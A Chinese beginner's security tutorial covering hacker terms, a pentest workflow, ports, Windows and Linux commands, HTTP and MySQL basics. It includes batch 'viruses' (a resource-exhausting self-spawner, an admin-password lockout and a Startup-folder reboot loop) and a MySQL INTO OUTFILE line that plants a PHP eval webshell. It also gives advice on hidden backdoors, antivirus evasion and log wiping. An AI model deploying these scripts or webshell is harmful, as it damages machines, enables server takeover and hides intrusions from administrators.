由浅入深学安全
常用术语解析
肉鸡
肉鸡也称傀儡机,是指可以被黑客远程控制的机器。
比如用灰鸽子等诱导客户点击或者电脑被黑客攻破或用户电脑有漏洞被种植了木马,黑客可以随意操纵它并利用它做任何事情。
一句话木马
一句话木马主要用来配合菜刀使用。
- PHP
- ASP
- ASP.NET
- Customize
菜刀
-
文件管理:
缓存下载目录,并支持离线查看缓存目录;
-
虚拟终端:
人性化的设计,操作方便;(输入HELP查看更多用法),超长命令会分割为5k字节一份,分别管理。
-
数据库管理:
图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,以及支持ADO方式连接的数据库。
Shell和Webshell
Shell其实是主机的管理员权限,例如:
- Windows中就是PowerShell
- Linux中就是root权限
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
弱口令
例如“123”、“admin”等,因为这样的口令很容易被别人破解,所以叫弱口令。
弱口令是相对的,它可以根据你所收集到的信息来定制生成。比如你叫张三,你用自己的名字作为后台密码。那么zhangsan1、zhangsan123、zhangsan1314就属于弱口令。
免杀、
免杀的意思就是通过各种方式绕过杀毒软件拦截的过程。
渗透测试一般流程
-
信息收集
- 域名信息whois——>社工、弱口令
- IP、后端——>namp、msf
- 找后台——>弱口令
- 子域名——>旁站
- Web服务器指纹——>寻找相应漏洞
- 信息泄露——>phpinfo、物理路径
-
漏洞挖掘
web应用层:
编辑器、文件包含、文件上传、文件下载、SQL注入、XSS、CSRF、越权、弱口令、逻辑漏洞
服务器:
弱口令、Shift后门、msf
-
漏洞利用
漏洞利用的目的是为了拿到自己想要的;
当遇到一个站你发现同时存在文件上传和命令执行,你选择去利用哪一个?
-
权限提升
从低权限到高权限
你拿到了webshell,whoami看了下发现是user权限,怎么拿到system1权限呢?
-
权限维持
好不容易拿到了system权限,给服务器加了自己的账号
可是管理员第二天就把你辛辛苦苦加的账号删了,你气不气?
所以权限维持很重要!
- 隐蔽
- 周期查看
- 免杀最好
- 多种留后门维持权限
-
内网渗透
-
日志清扫
你也不想第二天就被查水表吧?
- 严谨
- 伪装隐藏
- 避免机警(删除了全部日志)
-
经验总结
记笔记是个好习惯
博客,word备份,文档
Windows基础
常见端口及对应的服务
21 ftp
23 Telnet
80 web
80~89 可能是web
443 SSL心脏滴血及一些web漏洞测试
445 SMB
1433 MSSQL
1521 Oracle
2082/2083 cpanel主机管理系统登录(国外使用较多)
2222 DA虚拟主机管理系统登录(国外使用较多)
3128 squid代理默认端口——漫游内网
3306 MySQL
3312/3311 kangle主机管理系统登录
3389 远程桌面
5432 PostgreSQL
5900 vnc
6379 redis未授权
7001.7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000~9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统(国外使用较多)
8649 ganglia
8888 amh/LuManager/宝塔 主机管理系统默认端口
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
常用的cmd命令
echo eg:echo 1 > 1.txt 输出1到1.txt里面(1个>是覆盖,两个是追加)
dir 查看当前目录结构
d:和cd d:就是进入d盘目录 cd.是进入当前目录,cd..是进入上一级目录
tree 生成文件树
md 创建目录 rd 删除目录
ipconfig
cls 清屏
copy 复制,拼接文件
move 移动文件
ren 重命名
del 删除文件
ping
type 显示文本文件的内容
reg 注册表
nslookup -d www.baidu.com 探测域名的信息
find
tasklist 任务列表,显示当前的进程列表
ver,winver ver显示系统的版本,winver弹窗显示系统的版本
start 开启 eg:start calc、start cmd
systeminfo 看系统的信息
logoff 注销
shutdown /s /f /t /a /r /g /l 关机
telnet 192.168.1.1 远程连接
arp -a 发现同一网段中还有哪些主机
at 安排在特定日期和时间运行命令和程序
net
实战cmd编写bat病毒
耗尽资源的bat病毒
start cmd #运行cmd
%0 #执行自身,即重新再开一个cmd
锁机病毒
echo net user administrator 123456 > C:\Windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\Windows\Temp\1.bat
无限重启病毒
echo shutdown /r /t 0 > > C:\Windows\Temp\1.bat
copy C:\Windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Windows系统目录结构与渗透的关系
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
#开机自启目录
C:\Windows\Temp\1.bat
#重启后自动清空
Linux基础
操作系统分类
- Windows(商业)——个人PC
- unix(5万美元)衍生出来Linux(免费开源)——服务器
- MacOS(氪金)——个人PC
截至2021年12月,全球桌面操作系统市场中,Windows市场占有率为73.72%,远高于其他操作系统,但呈现逐年下滑趋势。位居第二名的是苹果公司OS X,其市占率为15.33%,其他Linux、Chrome OS等占比约10.95%。
什么是Linux
Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。
什么是Kali Linux
基于Debian的Linux操作系统
Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。每一季度更新一次。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook
Linux目录介绍
/bin 二进制可执行命令
/etc 系统管理和配置文件
/etc/rc.d 启动的配置文件和脚本
/home 用户主目录的基点
/lib 标准程序设计库,又叫动态链接共享库
/sbin 超级管理命令,这里存放的是系统管理员使用的管理程序
/tmp 公共的临时文件存储点
/root 系统管理员的主目录
/mnt 系统提供这个目录是让用户临时挂载其他的文件系统
/lost+found 这个目录平时是空的,系统非正常关机而留下“无家可归”的文件就在这里
/proc 虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息
/var 某些大文件的溢出区,比方说各种服务的日志文件
/usr 最庞大的目录,要用到的应用程序和文件几乎都在这个目录
/usr/bin 重负哦的应用程序
/usr/sbin 超级用户的一些管理程序
基本命令
ls
cd
pwd
vim
touch
mkdir -p
rmdir
rm -f -i -f
cp mv
cat
head、tail
more
ssh
chmod rwx -R 4代表读权限;2代表写权限;1代表可执行权限;0代表没有相应的权限
chown ubuntu:ubuntu 1.txt
find / -name 1.txt
grep配合管道符
useradd #会自动为创建的用户指定主目录、系统shell版本、会在创建时输入用户密码
adduser #需要使用参数选项指定上述基本设置,如果不适用任何参数,则创建的用户无密码,无主目录,没有指定 shell版本
userdel
sudo
passwd
网络基础
HTTP协议
HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web)服务器传输超文本到本地浏览器的传送协议。
HTTP协议工作于客户端-服务端(browser/server)B/S架构上。
浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。WEB服务器根据接收到的请求后,向客户端发送响应信息。
HTTP协议请求方法
- GET:向指定资源发出显示请求
- HEAD:和GET一样,但是不传回所有资源内容
- POST:向指定资源提交数据,数据被包含在请求中
- PUT:向指定位置上传
- DELETE:删除所标识的资源
- OPTIONS:这个方法可使服务器传回该资源所支持的所有HTTP请求方法
用 ’ * ‘ 来代替资源名称,向web服务器发送OPTIONS请求,可以测试服务器功能是否正常运作
HTTP协议请求
请求信息
发出的请求信息(message request)包括以下几个:
- 请求行(例如GET/images/logo.gif HTTP/1.1,表示从/images目录下请求logo.gif这个文件)
- 请求头(例如Accept-Language:en)
- 空行
- 其他消息体
HTTP协议状态码
- 1xx:指示信息——表示请求已接收,继续处理
- 2xx:成功——表示请求已被成功接收,理解,接受
- 3xx:重定向——要完成请求必须进行更进一步的操作
- 4xx:客户端错误——请求有语法错误或请求无法实现
- 5xx:服务器端错误——服务器未能实现合法的请求
常见的状态码:
- 200 OK 客户端请求成功
- 400 Bad Request 客户端请求有语法错误,不能被服务器所理解
- 401 Unauthorized 请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
- 403 Forbidden 服务器收到请求,但是拒绝提供服务
- 404 Not Found 请求资源不存在(例如输入了错误的URL)
- 500 Internal Server Error 服务器发送不可预期的错误
- 503 Server Unavailable 服务器当前不能处理客户端的请求,一段时间后可能恢复正常
内外网划分
- IP地址分为:公网IP,私网IP
- 公网IP(Public)
- Internet上的路由器中只有到达公网的路由表,没有到达私网的路由表
- 公网IP由因特网信息中心统一分配和管理
- ISP需要向Inter NIC申请公网IP
- 私网IP(Private)
- 主要用于局域网,下面是保留的私网网段:
- A类:10.0.0.0/8,1个A类网络
- B类:172.16.0.0/16~172.31.0.0/16,16个B类网络
- C类:192.168.0.0/24~192.168.255.0/24,256个C类网络
- 主要用于局域网,下面是保留的私网网段:
IPv4一共有2^32 = 42 9496 7296
路由NAT转换将内网IP与internet相连可以解决公网IP不够用的问题
HTML基础
HTML
HTML是用来描述网页的一种语言。HTML指的是超文本标记语言:Hyper Text Markup Language。
HTML不是一种编程语言,而是一种标记语言,标记语言是一套标记标签(markup tag)
HTML使用标记标签来描述网页,HTML文档包含了HTML标签及文本内容,HTML文档也叫做web页面
HTML网页结构
HTML常用标签
http://www.w3school.com.cn/tags/index.asp
数据库基础
关系型数据库概念
关系数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。当前主流的关系型数据库有Oracle、DB2、PostgreSQL、Microsoft SQL Server、Miscrosoft Access、MySQL、浪潮K-DB等
SQL(Structured Query Language)语言是1974年由Boyce和Chamberlin提出的一种介于关系代数与关系演算之间的结构化查询语言,是一个通用的,功能极强的关系型数据库语言。
创建数据库
- mysql –h localhost –u root -p
- CREATE DATABASE 数据库名;
- DROP DATABASE 数据库名;
基本操作
- 打开数据库:use [库名]
- 当前选择的库状态:SELECT DATABASE();
- 显示数据表字段:describe 表名;
- 当前库数据表结构:show tables;
MySQL数据类型
https://www.runoob.com/mysql/mysql-data-types.html
表结构操作
创建数据表
CREATE TABLE [表名] ([字段名] [字段类型] ([字段要求]) [字段参数], …);
更改数据表
ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE
ALTER TABLE [表名] ADD PRIMARY KEY ([字段名]
说明:更改表的定义把某个栏位设为主键。
TABLE [表名] DROP PRIMARY KEY ([字段名])
显示ALTER当前表字段:show columns from tablename;
增删改查
- 添加:INSERT INTO [表名] VALUES(‘’,‘’,…顺序排列的数据);
- 查询: SELECT * FROM [表名] WHERE ([条件]);
- 删除:DELETE FROM [表名] WHERE ([条件]);
- 修改:UPDATE [表名] SET [修改内容如name = ‘destiny’] WHERE [条件];
常用函数
database() user() version()
SELECT LOAD_FILE(‘/1.php’);
select unhex(‘十六进制字符串’) into dumpfile ‘D:/WEB/shell.php’
select’<?php @eval($_POST[chabug]);?>'INTO OUTFILE 'E:\Web\errors.php’
限制条件:
1)需要知道Web目录的绝对路径。
2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on . to root@localhost;
3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。
select host from mysql.user into dumpfile '/tmp/user1.txt’;
限制条件:只能导出一行。可执行2进制文件用into outfile函数导出,导出后就会被破坏
一点tips
MySQL不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:
查看配置项:SHOW VARIABLES LIKE "secure_file_priv“
如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:select 123 into outfile '/var/lib/mysql-files/test1.txt ’
限制mysqld 不允许导入 | 导出:mysqld --secure_file_prive=null
限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:mysqld --secure_file_priv=/tmp/
不对mysqld 的导入 | 导出做限制:cat /etc/my.conf[mysqld]secure_file_priv=
数据库版本很重要!